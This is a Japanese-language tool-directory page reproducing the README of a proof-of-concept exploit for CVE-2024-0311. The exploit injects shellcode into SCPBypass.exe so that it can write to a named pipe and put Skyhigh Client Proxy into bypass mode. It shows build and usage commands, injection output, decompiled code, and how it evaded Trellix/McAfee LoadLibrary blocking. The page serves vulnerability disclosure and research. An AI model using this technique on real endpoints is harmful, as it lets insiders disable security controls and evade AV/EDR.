Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-0311 — CVE-2024-0311の概念実証エクスプロイト。プロセスインジェクションと名前付きパイプ操作によりSkyhigh Client Proxyのポリシーをバイパスし、AV/EDRの制限を回避するカスタムシェルコードを備えています。 | Kitploit
ツール/GitHubGitHub/calligraf0/cve-2024-0311
特権昇格エクスプロイトIDS/IPS回避リバースエンジニアリングシェルコードペイロード開発バイナリエクスプロイト
GitHubcalligraf0/cve-2024-0311

CVE-2024-0311

CVE-2024-0311の概念実証エクスプロイト。プロセスインジェクションと名前付きパイプ操作によりSkyhigh Client Proxyのポリシーをバイパスし、AV/EDRの制限を回避するカスタムシェルコードを備えています。

リポジトリを見る
92151年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-0311 ?

これは、私が思うに CVE-2024-0311 および SB10418 の PoC です。

悪意のある内部関係者は、有効なリリースコードなしに Skyhigh Client Proxy の既存ポリシーをバイパスできます。

詳細は多め。エクスプロイト強め。 ¯\(ツ)/¯

この PoC は、ユーザーが実行した SCPBypass.exe プロセスにインジェクションし、SCPService.exe のパイプ \\.\pipe\MCPTrayPipe0 に書き込みを行います。パイプが RW Everyone であっても、WGUARDNT がパイプに書き込む実行ファイルに対していくつかのチェックを行う(ライターパスが検査される)ため、インジェクションが必要です。下記を参照してください。

Trellix/McAfee が稼働していて LoadLibrary をフック/ブロックしている場合でも、パイプへの WriteFile の実行を可能にするサンプルシェルコードが用意されています。

コンパイル

Visual Studio で Debug または Release ビルドします。

シェルコード

以下のようにしてシェルコードを生成します:

root@kitploit:~
cd shellcode && nasm loadlibrary.asm && xxd -i loadlibrary

その後、シェルコードを shellcode.c に置き換えます。

使用方法

root@kitploit:~
Injct.exe PID_OF_SCPBYPASS_EXE [stateoff] [debugon]
* stateoff: Don't call SetNamedPipeHandleState. The shellcode validate the pointer to SetNamedPipeHandleState before calling it..
*  debugon: set a breakpoint into the shellcode (0xcc at offset 0) and spawn a thread to bind the named pipe. Don't use in production.

出力例:

root@kitploit:~
PS C:\Users\test\Desktop> .\Injct.exe 10640
> Target PID: 10640
> Allocating 4Kb in remote process: 0000020B61060000
> Writing shellcode to PID: 10640
> Injected shellcode at: 0000020B61060000
> Creating remote thread at 0000020B61060000
> Thread 12784 created.. waiting...
> Thread 12784 return value 0000000000000000
PS C:\Users\test\Desktop>

すべてがうまくいけば、SCP のログファイルに次のようなエントリが見つかるはずです:

root@kitploit:~
10/30/24 : 10:18:55:185 - [INFO] CBypassPipeServer::run -  SCP will be going into bypass mode for 1440 minutes

解説

簡潔な解説にする。言葉に費やす時間など誰にもないからね。

Skyhigh Proxy Client

まず、Skyhigh Proxy Client とは何でしょうか?

Skyhigh Security Client Proxy ソフトウェアは、エンドポイントユーザーがネットワークの内部または外部から Web にアクセスする際に生じるセキュリティ脅威から保護するのに役立ちます。 Microsoft Windows または macOS を実行しているエンドポイントにインストールされるクライアントソフトウェアは、Web リクエストをリダイレクトするか、フィルタリングのためにプロキシへ継続させます。サーバーソフトウェアは、Trellix ePO SaaS または Trellix ePO Cloud のいずれかの管理プラットフォーム上で実行されます。

これで明確になったはずです。

根本原因は何か?

アドバイザリからの情報だけでは、手がかりはあまりありません。正直に言うと、私は LPE に悪用しやすい問題を見つけようとバイナリサービスを調べていたところ、CreateNamedPipe を見かけて興味を持ちました。

Ghidra から逆コンパイルしたコードを簡単にコピー&ペーストしたものを示します:

root@kitploit:~
void CreateNamedPipe_FUN_14022d150(undefined8 param_1)

{
  BOOL BVar1;
  int atoi_out_lpBuffer;
  HANDLE hNamedPipe;
  undefined8 uVar2;
  undefined auStackY_4c8 [32];
  uint nBytesRead;
  undefined4 local_474;
  undefined4 local_470;
  ulonglong nBytesRead_0;
  _SECURITY_ATTRIBUTES local_460;
  undefined pSecurityDescriptor [48];
  char out_lpBuffer [1024];
  ulonglong local_18;

  local_18 = DAT_14069a448 ^ (ulonglong)auStackY_4c8;
  InitializeSecurityDescriptor(pSecurityDescriptor,1);

                    /* BOOL SetSecurityDescriptorDacl(
                         [in, out]      PSECURITY_DESCRIPTOR pSecurityDescriptor,
                         [in]           BOOL                 bDaclPresent,
                         [in, optional] PACL                 pDacl,
                         [in]           BOOL                 bDaclDefaulted
                       ); */
  SetSecurityDescriptorDacl(pSecurityDescriptor,1,(PACL)0x0,0);
  local_460.bInheritHandle = 0;
  local_460.lpSecurityDescriptor = pSecurityDescriptor;
  local_460.nLength = 0x18;

                    /* HANDLE CreateNamedPipeW(
                         [in]           LPCWSTR               lpName,
                         [in]           DWORD                 dwOpenMode,
                         [in]           DWORD                 dwPipeMode,
                         [in]           DWORD                 nMaxInstances,
                         [in]           DWORD                 nOutBufferSize,
                         [in]           DWORD                 nInBufferSize,
                         [in]           DWORD                 nDefaultTimeOut,
                         [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes
                       );

                       CreateNamedPipeW("\\\\.\\pipe\\MCPTrayPipe0",PIPE_ACCESS_DUPLEX,
                       PIPE_TYPE_BYTE, 1, 0x4000, 0x4000, 0, lpSecurityAttribytes)
                        */
  hNamedPipe = CreateNamedPipeW(L"\\\\.\\pipe\\MCPTrayPipe0",3,0,1,0x4000,0x4000,0,&local_460);
  while (hNamedPipe != (HANDLE)0xffffffffffffffff) {
    BVar1 = ConnectNamedPipe(hNamedPipe,(LPOVERLAPPED)0x0);
    if (BVar1 != 0) {
      while (BVar1 = ReadFile(hNamedPipe,out_lpBuffer,1023,&nBytesRead,(LPOVERLAPPED)0x0),
            BVar1 != 0) {
        nBytesRead_0 = (ulonglong)nBytesRead;
        if (1023 < nBytesRead_0) {
          fail_or_fastfail_FUN_1404794f0();
        }
        out_lpBuffer[nBytesRead_0] = '\0';
        if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
            ((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
           ((byte)PTR_LOOP_14069a4e0[0x19] < 5)) {
          local_474 = 0;
        }
        else {
          TraceMessage_FUN_140027e70
                    (*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xe,&DAT_1405da058,out_lpBuffer);
          local_474 = 1;
        }
        FUN_14022d510(param_1,1);
        atoi_out_lpBuffer = atoi(out_lpBuffer);
        uVar2 = FUN_140040210();
        LOGFUN_1400402a0(uVar2,L"CBypassPipeServer::run",5,L"INFO");
        if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
            ((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
           ((byte)PTR_LOOP_14069a4e0[0x19] < 3)) {
          local_470 = 0;
        }
        else {
          TraceMessage_FUN_140027e10
                    (*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xf,&DAT_1405da058,atoi_out_lpBuffer
                    );
          local_470 = 1;
        }
        FUN_140040530(2,L"CBypassPipeServer::run-SCP will be going into bypass mode for %d minutes",
                      atoi_out_lpBuffer);
        FUN_14022d5b0(param_1,atoi_out_lpBuffer);
      }
    }
    DisconnectNamedPipe(hNamedPipe);
  }
  FUN_140478b10(local_18 ^ (ulonglong)auStackY_4c8);
  return;
}

この関数が呼び出されると、新しい DACL 構造体が初期化され、新しいパイプ \\.\pipe\MCPTrayPipe0 が byte mode で作成されることがわかります。

そして、そのようなパイプへのハンドルが有効である限り、プログラムはそこから読み取り、送信されたバイトを atoi(out_lpBuffer) で ASCII から int に変換しようとします。

atoi にはより良い代替手段があるという事実はさておき、atoi の呼び出しが失敗していないと仮定すると、変換された値は FUN_14022d5b0 に渡されます:

root@kitploit:~

undefined8 FUN_14022d5b0(longlong param1,int atoi_out_lpBuffer)

{
  BOOL BVar1;
  DWORD DVar2;
  undefined8 uVar3;
  LARGE_INTEGER local_10 [2];

  local_10[0].QuadPart = (ulonglong)(uint)atoi_out_lpBuffer * -600000000;
  BVar1 = SetWaitableTimer(*(HANDLE *)(param1 + 0xd8),local_10,0,(PTIMERAPCROUTINE)0x0,(LPVOID)0x0,0
                          );
  if (BVar1 == 0) {
    DVar2 = GetLastError();
    uVar3 = FUN_140040210();
    LOGFUN_1400402a0(uVar3,L"CBypassPipeServer::setBypassTimer",1,L"ERROR",L"Failed setting time %d"
                     ,DVar2);
    if ((((undefined **)PTR_LOOP_14069a4e0 != &PTR_LOOP_14069a4e0) &&
        ((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) != 0)) && (1 < (byte)PTR_LOOP_14069a4e0[0x19]))
    {
      DVar2 = GetLastError();
      TraceMessage_FUN_140027e10
                (*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0x12,&DAT_1405da058,DVar2);
    }
    uVar3 = 0xffffffff;
  }
  else {
    uVar3 = 0;
  }
  return uVar3;
}

これは SetWaitableTimer を呼び出します。ここの文字列は、意図したフローを見つけるのに少し役立ちました。

ここでの要点は、ScpService.exe プロセスが誰が何をパイプに書き込むかをチェックしておらず、データは盲目的に信頼されて受け渡されるだけだということです。さらに、accesschk でパイプのアクセス許可を確認すると、パイプは RW Everyone という結果になります。

したがって、エクスプロイトは基本的に次のことを行うはずです:

  • CreateFile(): パイプへのハンドルを取得
  • SetNamedPipeHandleState(): バイトモードを設定
  • WriteFile(): データを書き込む
  • CloseHandle(): ハンドルを閉じる

これは文字通り PowerShell の数行で実行できます。簡単に勝てるだろう?いいえ。

なぜインジェクションなのか?

物事がそんなに単純ならいいのに!技術的にはすべてそのように機能するように見える一方で、パイプを開こうとすると常にパイプクライアントがタイムアウトしてしまいました。少し深く掘り下げると、サービスが他のどこかで ACL を設定していることに気付きました。

ACL

ScpService が使用するデフォルトのセキュリティ記述子は、次のように初期化されます:

root@kitploit:~
SECURITY_DESCRIPTOR sd = {};

InitializeSecurityDescriptor(&sd, 1);
SetSecurityDescriptorDacl(&sd, 1, NULL, NULL);

これは DACL を表しており、誰にもアクセスを許可しません。

オブジェクトのセキュリティ記述子に属する任意アクセス制御リスト (DACL) が NULL に設定されている場合、null DACL が作成されます。 null DACL は、それを要求するすべてのユーザーにフルアクセスを許可します。オブジェクトに関して通常のセキュリティチェックは実行されません。 null DACL は、空の DACL と混同しないでください。空の DACL は、アクセス制御エントリ (ACE) を含まない、適切に割り当てられ初期化された DACL です。 空の DACL は、割り当てられたオブジェクトへのアクセスを一切許可しません。

おそらく、ACE/DACL は \\.\WGUARDNT に委任されています。これは、限られたオブジェクトリストへのアクセスを許可する役割を担う保護レイヤー (McAfee?) のようです:

root@kitploit:~
.data:000000014069A510 off_14069A510   dq offset aScpserviceExe_3
.data:000000014069A510                                         ; DATA XREF: sub_14009A310+539↑o
.data:000000014069A510                                         ; sub_14009A310+674↑o ...
.data:000000014069A510                                         ; "scpservice*.exe"
.data:000000014069A518                 dq offset aFrameworkservi ; "FrameworkService.exe"
.data:000000014069A520                 dq offset aRegsvcExe    ; "regsvc.exe"
.data:000000014069A528                 dq offset aNaprdmgr64Exe ; "naprdmgr64.exe"
.data:000000014069A530                 dq offset aNaprdmgrExe  ; "naprdmgr.exe"
.data:000000014069A538                 dq offset aUpdateruiExe ; "updaterui.exe"
.data:000000014069A540                 dq offset aMcafeefireExe ; "McAfeeFire.exe"
.data:000000014069A548                 dq offset aScpbypassExe ; "SCPBypass.exe"
.data:000000014069A550                 dq offset aScpaboutExe  ; "SCPAbout.exe"
.data:000000014069A558                 dq offset aMfehidinExe  ; "mfehidin.exe"
.data:000000014069A560                 dq offset aMsiexecExe   ; "msiexec.exe"
.data:000000014069A568                 dq offset aMcshieldExe  ; "mcshield.exe"
.data:000000014069A570                 dq offset aMmcExe       ; "mmc.exe"
.data:000000014069A578                 dq offset aSystem_4     ; "system"
.data:000000014069A580                 dq offset aServicesExe  ; "services.exe"
.data:000000014069A588                 dq offset aWinlogonExe  ; "winlogon.exe"
.data:000000014069A590                 dq offset aSvchostExe   ; "svchost.exe"

試行 1

接続する実行ファイルが既知の実行ファイル/パスのリストに対してチェックされ、ユーザーの権限で実行される SCPBypass.exe が信頼されたアプリのリストに含まれているように見えるなら、SCPBypass.exe に DLL を単純にインジェクションできないでしょうか?もちろんできます!残念ながら、Trellix/McAfee は LoadLibrary の呼び出しをブロックします。

そのため、プロジェクト内の InjmeDLL は未使用となっています。

試行 2 (最終)

最終的には @wolfcod が急ごしらえで作った、迅速で乱暴なソリューションを選びました。プロセスにはすべてが既にロードされているので、必要なことを行うシェルコードをインジェクトするだけです。syscall を直接呼び出したり、他のトリックを試したりする代わりに、この単純なソリューションは私たちのユースケースでは問題なく機能しました。

これにより最終的に、AV/EDR ソリューションによって課された制限のバイパスと、動作するエクスプロイトが実現しました。

👋 それでは。

ツールをダウンロード